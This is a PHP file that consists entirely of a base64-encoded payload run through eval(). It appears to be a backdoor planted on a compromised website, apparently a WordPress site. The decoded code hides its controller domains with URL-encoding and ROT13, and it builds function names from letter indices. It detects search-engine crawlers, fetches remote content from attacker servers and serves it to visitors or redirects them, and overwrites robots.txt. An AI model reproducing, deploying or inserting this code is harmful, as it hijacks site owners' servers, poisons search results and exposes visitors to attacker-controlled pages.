<?php 
$a=base64_decode('CiR4bWxuYW1lID0gWwogICAgIiUzMSUzMSUzMyUzMyUyRCU3OSU3NiU2MSU3OCUzMSUzOCUzNSUyRSU2NiU3MiU2NSU3MiU2MSU2NyU2NiU2QyUyRSU2NyU2MiU2MyIsCiAgICAiJTMxJTMxJTMzJTMzJTJEJTc5JTc2JTYxJTc4JTMxJTM4JTM1JTJFJTY5JTcyJTY1JTY5JTcyJTY4JTY2JTJFJTY3JTYyJTYzIiwKICAgICIlMzElMzElMzMlMzMlMkQlNzklNzYlNjElNzglMzElMzglMzUlMkUlNzklNjglN0ElNjIlNjUlNkUlNjElMkUlNkIlNkMlNkQiLAogICAgIiUzMSUzMSUzMyUzMyUyRCU3OSU3NiU2MSU3OCUzMSUzOCUzNSUyRSU2OSU3NiU2OSU2QyU2MSU3MiUyRSU2QiU2QyU2RCIKXTsKJHN0cmluZyA9ICcxMTMzLWxpbmsxODUnOwoKJGhvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPzogJyc7CiRsYW5nID0gJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10gPzogJ2VuJzsKJHJlZmVyZXIgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gPzogJyc7CiRodHRwID0gaXNfaHR0cHMoKSA/ICdodHRwcycgOiAnaHR0cCc7CiRzZXJ2ZXIgPSBmaWxlX2V4aXN0cygkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gJy8uaHRhY2Nlc3MnKSA/IDEgOiAyOwokenogPSBkaXNib3QoKTsKJGR1cmkgPSBkcmVxdWVzdF91cmkoKSA/OiAnLyc7CgokbW9kZWxfZmlsZSA9ICdpbmRleC5waHAnOwokbW9kZWwgPSAnaW5kZXgnOwpwcmVnX21hdGNoKCcvXC8oW15cL10rXC5waHApLycsICRkdXJpLCAkbWF0Y2hlcyk7CmlmICghZW1wdHkoJG1hdGNoZXMpKSB7CiAgICAkbW9kZWxfZmlsZSA9ICRtYXRjaGVzWzFdOwogICAgaWYgKCgkcG9zaXRpb24gPSBzdHJwb3MoJGR1cmksICRtb2RlbF9maWxlKSkgIT09IGZhbHNlKSB7CiAgICAgICAgJG1vZGVsX2ZpbGUgPSBsdHJpbShzdWJzdHIoJGR1cmksIDAsICRwb3NpdGlvbiArIHN0cmxlbigkbW9kZWxfZmlsZSkpLCAnLycpOwogICAgfQogICAgJG1vZGVsID0gc3RyX3JlcGxhY2UoJy5waHAnLCAnJywgJG1vZGVsX2ZpbGUpOwp9CiRtb2RlbCA9IHN0cmlzdHIoJGR1cmksICcvPycpID8gJz8nIDogJG1vZGVsOwoKJGlzdGVzdCA9IGZhbHNlOwppZiAoc3RycG9zKCRkdXJpLCAkc3RyaW5nKSAhPT0gZmFsc2UpIHsKICAgICR6eiA9IDE7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCRzdHJpbmcsICcnLCAkZHVyaSk7CiAgICAkaXN0ZXN0ID0gdHJ1ZTsKfQppZiAoJGR1cmkgIT0gJy8nKSB7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCcvJyAuICRtb2RlbF9maWxlLCAnJywgJGR1cmkpOwogICAgJGR1cmkgPSBzdHJfcmVwbGFjZSgnL2luZGV4LnBocCcsICcnLCAkZHVyaSk7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCchJywgJycsICRkdXJpKTsKfQoKJHBhcmFtID0gaHR0cF9idWlsZF9xdWVyeShbCiAgICAnd2ViJyA9PiAkaG9zdCwKICAgICd6eicgPT4gJHp6LAogICAgJ3VyaScgPT4gdXJsZW5jb2RlKCRkdXJpKSwKICAgICd1cmxzaGFuZycgPT4gJHJlZmVyZXIsCiAgICAnaHR0cCcgPT4gJGh0dHAsCiAgICAnbGFuZycgPT4gJGxhbmcsCiAgICAnc2VydmVyJyA9PiAkc2VydmVyLAogICAgJ21vZGVsJyA9PiAkbW9kZWwsCiAgICAndmVyc2lvbicgPT4gJGlzdGVzdCA/ICRzdHJpbmcgOiAnJwpdKTsKCmNyZWF0ZV9yb2JvdHMoJGh0dHAgLiAnOi8vJyAuICRob3N0KTsKJGh0bWxfY29udGVudCA9IHJlcXVlc3QoJHhtbG5hbWUsICRwYXJhbSk7CgppZiAoc3RycG9zKCRodG1sX2NvbnRlbnQsICdub2JvdHVzZXJhZ2VudCcpID09PSBmYWxzZSkgewogICAgJHJlc3BvbnNlX2hhbmRsZXJzID0gYXJyYXkoCiAgICAgICAgJ29raHRtbCcgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcsCiAgICAgICAgICAgICdyZXBsYWNlJyA9PiAnb2todG1sJywKICAgICAgICAgICAgJ3Rlc3RfZWNobycgPT4gdHJ1ZSwKICAgICAgICAgICAgJ291dHB1dCcgPT4gdHJ1ZQogICAgICAgICksCiAgICAgICAgJ2dldGNvbnRlbnQ1MDBwYWdlJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0hUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3InCiAgICAgICAgKSwKICAgICAgICAnNDA0cGFnZScgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdIVFRQLzEuMSA0MDQgTm90IEZvdW5kJwogICAgICAgICksCiAgICAgICAgJzMwMXBhZ2UnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnSFRUUC8xLjEgMzAxIE1vdmVkIFBlcm1hbmVudGx5JywKICAgICAgICAgICAgJ3JlcGxhY2UnID0+ICczMDFwYWdlJywKICAgICAgICAgICAgJ3JlZGlyZWN0JyA9PiB0cnVlCiAgICAgICAgKSwKICAgICAgICAnb2t4bWwnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94bWw7IGNoYXJzZXQ9dXRmLTgnLAogICAgICAgICAgICAncmVwbGFjZScgPT4gJ29reG1sJywKICAgICAgICAgICAgJ291dHB1dCcgPT4gdHJ1ZQogICAgICAgICksCiAgICAgICAgJ29rcm9ib3RzJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicsCiAgICAgICAgICAgICdyZXBsYWNlJyA9PiAnb2tyb2JvdHMnLAogICAgICAgICAgICAnb3V0cHV0JyA9PiB0cnVlCiAgICAgICAgKQogICAgKTsKCiAgICBmb3JlYWNoICgkcmVzcG9uc2VfaGFuZGxlcnMgYXMgJGtleSA9PiAkaGFuZGxlcikgewogICAgICAgIGlmIChzdHJwb3MoJGh0bWxfY29udGVudCwgJGtleSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIEBoZWFkZXIoJGhhbmRsZXJbJ2hlYWRlciddKTsKCiAgICAgICAgICAgIGlmIChpc3NldCgkaGFuZGxlclsncmVwbGFjZSddKSkgewogICAgICAgICAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCRoYW5kbGVyWydyZXBsYWNlJ10sICcnLCAkaHRtbF9jb250ZW50KTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGlzc2V0KCRoYW5kbGVyWyd0ZXN0X2VjaG8nXSkgJiYgJGlzdGVzdCkgewogICAgICAgICAgICAgICAgZWNobyAkc3RyaW5nOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoaXNzZXQoJGhhbmRsZXJbJ3JlZGlyZWN0J10pKSB7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJGh0bWxfY29udGVudCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChpc3NldCgkaGFuZGxlclsnb3V0cHV0J10pKSB7CiAgICAgICAgICAgICAgICBlY2hvICRodG1sX2NvbnRlbnQ7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGV4aXQoKTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGRpc2JvdCgpIHsKICAgICR1c2VyX2FnZW50ID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA6ICcnOwogICAgJGJvdHMgPSBhcnJheSgnZ29vZ2xlYm90JywgJ2JpbmcnLCAneWFob28nLCAnZ29vZ2xlJyk7CgogICAgZm9yZWFjaCAoJGJvdHMgYXMgJGJvdCkgewogICAgICAgIGlmIChzdHJwb3MoJHVzZXJfYWdlbnQsICRib3QpICE9PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gMjsKfQoKZnVuY3Rpb24gZHJlcXVlc3RfdXJpKCkgewogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICAgIH0KCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ2FyZ3YnXSkpIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnYXJndiddWzBdOwogICAgfQoKICAgIHJldHVybiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsKfQoKZnVuY3Rpb24gaXNfaHR0cHMoKSB7CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pKSB7CiAgICAgICAgJGh0dHBzID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUFMnXSk7CiAgICAgICAgaWYgKCRodHRwcyAhPT0gJ29mZicgJiYgJGh0dHBzICE9PSAnJykgewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10gPT09ICdodHRwcycpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pKSB7CiAgICAgICAgJGZyb250X2VuZF9odHRwcyA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pOwogICAgICAgIGlmICgkZnJvbnRfZW5kX2h0dHBzICE9PSAnb2ZmJyAmJiAkZnJvbnRfZW5kX2h0dHBzICE9PSAnJykgewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBjcmVhdGVfcm9ib3RzKCR1cmwpIHsKICAgICRmdW5jdGlvbnMgPSBmdW5jKCk7CiAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnL3JvYm90cy50eHQnOwogICAgJGNvbnRlbnQgPSAiVXNlci1hZ2VudDogKlxuQWxsb3c6IC9cblxuU2l0ZW1hcDogIiAuICR1cmwgLiAiL3NpdGVtYXAueG1sXG4iOwoKICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgJGZ1bmN0aW9uc1swXSgkcGF0aCwgJGNvbnRlbnQpOwogICAgfSBlbHNlIHsKICAgICAgICAkZXhpc3RpbmdfY29udGVudCA9ICRmdW5jdGlvbnNbMV0oJHBhdGgpOwogICAgICAgIGlmICgkZXhpc3RpbmdfY29udGVudCAhPT0gJGNvbnRlbnQpIHsKICAgICAgICAgICAgJGZ1bmN0aW9uc1swXSgkcGF0aCwgJGNvbnRlbnQpOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gcmVxdWVzdCgkd2VicywgJHBhcmFtKSB7CiAgICAkZnVuY3Rpb25zID0gZnVuYygpOwogICAgc2h1ZmZsZSgkd2Vicyk7CgogICAgZm9yZWFjaCAoJHdlYnMgYXMgJGRvbWFpbikgewogICAgICAgICRkb21haW5fZGVjb2RlZCA9ICRmdW5jdGlvbnNbMl0odXJsZGVjb2RlKCRkb21haW4pKTsKICAgICAgICAkdXJsID0gJ2h0dHA6Ly8nIC4gJGRvbWFpbl9kZWNvZGVkIC4gJy9zdXBlcjYucGhwPycgLiAkcGFyYW07CgogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX3JlbW90ZV9nZXQnKSkgewogICAgICAgICAgICAkcmVzcG9uc2UgPSB3cF9yZW1vdGVfZ2V0KCR1cmwsIGFycmF5KAogICAgICAgICAgICAgICAgJ3RpbWVvdXQnID0+IDMwLAogICAgICAgICAgICAgICAgJ3VzZXItYWdlbnQnID0+ICdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgV29yZFByZXNzKScKICAgICAgICAgICAgKSk7CgogICAgICAgICAgICBpZiAoIWlzX3dwX2Vycm9yKCRyZXNwb25zZSkpIHsKCiAgICAgICAgICAgICAgICAkYm9keSA9IHdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCRyZXNwb25zZSk7CgogICAgICAgICAgICAgICAgcmV0dXJuICRib2R5OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSkgewogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAzMCk7CiAgICAgICAgICAgICRyZXNwb25zZSA9IGN1cmxfZXhlYygkY2gpOwoKICAgICAgICAgICAgaWYgKCFjdXJsX2Vycm5vKCRjaCkpIHsKICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzcG9uc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgIH0KCiAgICAgICAgaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpKSB7CiAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KAogICAgICAgICAgICAgICAgJ2h0dHAnID0+IGFycmF5KCd0aW1lb3V0JyA9PiAzMCkKICAgICAgICAgICAgKSk7CiAgICAgICAgICAgICRyZXNwb25zZSA9IEAkZnVuY3Rpb25zWzFdKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7CiAgICAgICAgICAgIGlmICgkcmVzcG9uc2UgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiAnbm9ib3R1c2VyYWdlbnQnOwp9CgpmdW5jdGlvbiBmdW5jKCkgewogICAgJGNoYXJzID0gcmFuZ2UoJ2EnLCAneicpOwogICAgcmV0dXJuIGFycmF5KAogICAgICAgICRjaGFyc1s1XSAuICRjaGFyc1s4XSAuICRjaGFyc1sxMV0gLiAkY2hhcnNbNF0gLiAnXycgLiAkY2hhcnNbMTVdIC4gJGNoYXJzWzIwXSAuICRjaGFyc1sxOV0gLiAnXycgLiAkY2hhcnNbMl0gLiAkY2hhcnNbMTRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbNF0gLiAkY2hhcnNbMTNdIC4gJGNoYXJzWzE5XSAuICRjaGFyc1sxOF0sCiAgICAgICAgJGNoYXJzWzVdIC4gJGNoYXJzWzhdIC4gJGNoYXJzWzExXSAuICRjaGFyc1s0XSAuICdfJyAuICRjaGFyc1s2XSAuICRjaGFyc1s0XSAuICRjaGFyc1sxOV0gLiAnXycgLiAkY2hhcnNbMl0gLiAkY2hhcnNbMTRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbNF0gLiAkY2hhcnNbMTNdIC4gJGNoYXJzWzE5XSAuICRjaGFyc1sxOF0sCiAgICAgICAgJGNoYXJzWzE4XSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbMTddIC4gJ18nIC4gJGNoYXJzWzE3XSAuICRjaGFyc1sxNF0gLiAkY2hhcnNbMTldIC4gJzEzJwogICAgKTsKfQoKCg==');
eval($a);